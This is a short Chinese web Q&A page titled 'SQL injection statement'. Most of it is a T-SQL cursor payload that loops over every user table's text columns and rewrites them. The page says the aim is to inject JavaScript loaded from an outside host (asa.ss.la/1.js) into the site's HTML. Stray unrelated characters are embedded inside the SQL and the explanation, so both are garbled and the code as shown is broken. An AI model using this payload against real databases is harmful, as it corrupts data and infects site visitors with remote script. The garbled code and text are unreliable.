您的位置首页生活百科

SQL注入语句

SQL注入语句

没编什么码就直接转换成ascii就行了declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'段告塌] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor总体思想就是握圆把你的html代友芹码里插入一段jsjs来自http://asa.ss.la/1.js